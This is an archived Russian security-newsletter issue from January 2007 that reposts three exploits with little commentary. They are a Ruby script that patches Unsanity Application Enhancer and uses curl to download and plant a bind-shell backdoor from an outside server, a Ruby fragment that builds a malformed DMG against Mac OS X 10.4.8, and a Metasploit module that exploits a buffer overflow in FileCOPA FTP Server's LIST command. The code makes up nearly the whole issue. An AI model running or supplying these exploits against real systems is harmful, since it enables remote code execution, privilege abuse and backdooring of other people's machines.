Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Январь 2007   →
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
12.01.2007
00:55:06
07:05:13
13
14
15
15.01.2007
05:15:29
14:05:25
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Exploits.


Компьютер для продвинутых пользователей
В этом выпуске:
Unsanity Application Enhancer 2.0.2 | Mac OS X 10.4.8 | FileCOPA FTP Server 1.01
ПО: Unsanity Application Enhancer 2.0.2 Exploit:
# !/usr/bin/ruby
# Exploit Of The Apes: A practical pwnage for Application (UN)Enhancer 
aka APU
# (c) 2006 LMH <lmh [at] info-pull.com> and Johnny Pwnerseed.
#
# This goes dedicated to #macdev. For the childish flaming and great 
brain lag.
#
# Lesson: Don't talk about stuff you have NFC about. And don't insult
# people. Once you do it, and get pwned, total lulz ensues ;o(
#
# MD5 (ApplicationEnhancer) = cf9bf1fa74f8298f09aedce38c72a7da
# at offset 27512   0x807d0014      ->  0x38600000
# at offset 115586  0x8b4614890424  ->  0x31c090890424
#

require 'fileutils'

# Define offsets to opcodes to be patched
PATCH_INSTRUCTIONS =  [
                        [ 27512,  "\x38\x60\x00\x00"         ],
                        [ 115586, "\x31\xc0\x90\x89\x04\x24" ]
                      ]

BACKDOO_URL = "http://projects.info-pull.com/moab/bug-files/sample-back" 
# must be fat binary, sample bind shell
PATH_TO_APE = "/Library/Frameworks/ApplicationEnhancer.framework"
PATH_TO_APU = "/Library/Frameworks/ApplicationUnenhancer.framework"

path_to_bozo  = (ARGV[0] || 
File.join(PATH_TO_APE,"Versions/Current/ApplicationEnhancer"))

puts "++ Starting: #{PATH_TO_APE}"
puts "++ Back-up:  #{PATH_TO_APU}"
# Move the original framework to back-up, copy contents back, set 
permissions.
# To repair:
# rm -rf /Library/Frameworks/ApplicationEnhancer.framework
# mv /Library/Frameworks/ApplicationUnenhancer.framework \
# /Library/Frameworks/ApplicationEnhancer.framework
if File.exists?(PATH_TO_APE)
  unless File.exists?(PATH_TO_APU)
    FileUtils.mv(PATH_TO_APE, PATH_TO_APU)
    FileUtils.cp_r(PATH_TO_APU, PATH_TO_APE)
    system "chmod u+w #{File.join(PATH_TO_APE, 
"Versions/A/ApplicationEnhancer")}"
  end
end

# Patching poor Apu (we could just replace the binary, but this is 
cooler as the
# guys at Unsanity, LLC think they can dropriv and forget all about 
flawed code...).
bozo    = File.read(path_to_bozo)

puts "++ Patch: #{path_to_bozo}"
PATCH_INSTRUCTIONS.each do |patch|
  offset  = patch[0] # start offset
  bindata = patch[1] # patch bytes
  bcount  = 0

  puts "++ Patching stage: offset=#{offset} patch size=#{bindata.size}"
  bindata.split(//).each do |patch_byte|
    target_offset = offset + bcount
    printf "++ Patching byte at %x\n", target_offset
    bozo[target_offset] = patch_byte
    bcount += 1
  end
end

puts "++ Binary pwnage done. Writing patched data..."
u_bozo = File.new(File.join(PATH_TO_APE, 
"/Versions/A/ApplicationEnhancer"), "w")
u_bozo.write(bozo)
u_bozo.close
puts "++ Done (#{bozo.size} bytes). Planting backdoor aped binary..."

aped_path = File.join(PATH_TO_APE, "Resources/aped")
system "chmod a+rxw #{aped_path}" # let everyone backdoor it afterwards, 
be social and share!
system "curl #{BACKDOO_URL} -o #{aped_path}"
system "chmod a+x #{aped_path}"

puts "++ Finished."
ПО: Mac OS X 10.4.8

Expoit:
#!/usr/bin/ruby
# (c) 2006 LMH .
#

require 'fileutils'
require 'zlib'

hdiutil = "/usr/bin/hdiutil"
dmgname = (ARGV[0] || "MOAB-09-01-2007.dmg")
dmgsize = (ARGV[1] || "200k")
filesys = (ARGV[2] || "UFS")
volname = ""

255.times do
  volname << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) 
? 55 : 61 ))).chr
end

FileUtils.rm_f(dmgname)
system "#{hdiutil} create #{dmgname} -size #{dmgsize} -fs #{filesys} 
-volname #{volname}"

puts "++ reading #{dmgname}..."
dmg_stream = File.read(dmgname)
dmg_vnsize = dmg_stream[0x9c10,0x9c14].unpack("C2")
puts "++ volname length at dmg: #{dmg_vnsize}"
puts "++ dmg size: #{dmg_stream.size} bytes."
ПО: FileCOPA FTP Server 1.01 
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::filecopa_list;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
    'Name'    => 'FileCopa FTP Server pre 18 Jul Version',
    'Version' => '$Revision: 0.1 $',
    'Authors' =>
      [
        'Jacopo Cervini <acaro [at] jervus.it>'
      ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
    'Priv'  => 0,

    'AutoOpts'  => { 'EXITFUNC' => 'thread' },
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 21],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
        'USER'  => [1, 'DATA', 'Username', 'test'],
        'PASS'  => [1, 'DATA', 'Password', 'test'],
      },

    'Payload' =>
      {
        'Space'  => 400,
        'BadChars'  => "\x00\x0a\x0d",
        # 'Prepend'    => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
        'Keys'         => ['+ws2ord'],
      },

    'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the LIST command
        in fileCOPA FTP server pre 18 Jul 2006 version discovered by 
www.appsec.ch.    
}),

    'Refs'  =>
      [
        ['BID', '19065'],
        
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [

        ['Windows 2000 SP4 English',    160, 0x7c2e7993 ], # jmp esp in 
ADVAPI32.dll
        ['Windows 2000 SP4 Italian',    160, 0x79277993 ], # jmp esp in 
ADVAPI32.dll
        ['Windows XP SP2 English',    240, 0x77df2740 ], # jmp esp in 
ADVAPI32.dll
        
        

      ],

    'Keys' => ['filecopa'],

    'DisclosureDate' => 'Jul 19 2006',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => 
$advanced}, @_);
    return($self);
}


sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];




    
    
    my $jmp = "\x66\x81\xc1\xa0\x01\x51\xc3";

    #66:81C1 A001   ADD CX,1A0
    #51             PUSH ECX
    #C3             RETN
    

    my $pattern = ("A" x $target->[1]);
         $pattern .= pack('V', $target->[2]);
       $pattern .= ("\x90"x4);
       $pattern .= $jmp;
       $pattern .= ("\x90"x283);
       $pattern .= $shellcode;

       
    my $request = "A " . $pattern ."\r\n";

    

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    my $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); 
return; }
    $self->Print($r);

    $s->Send("USER " . $self->GetVar('USER') . "\r\n");
    $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); 
return; }
    $self->Print($r);


    $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
    $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); 
return; }
    $self->Print($r);

    $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp 
at 0x%.8x...", $target->[2]));


    $s->Send("LIST $request");
    
    sleep(2);
    return;
}
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
В избранное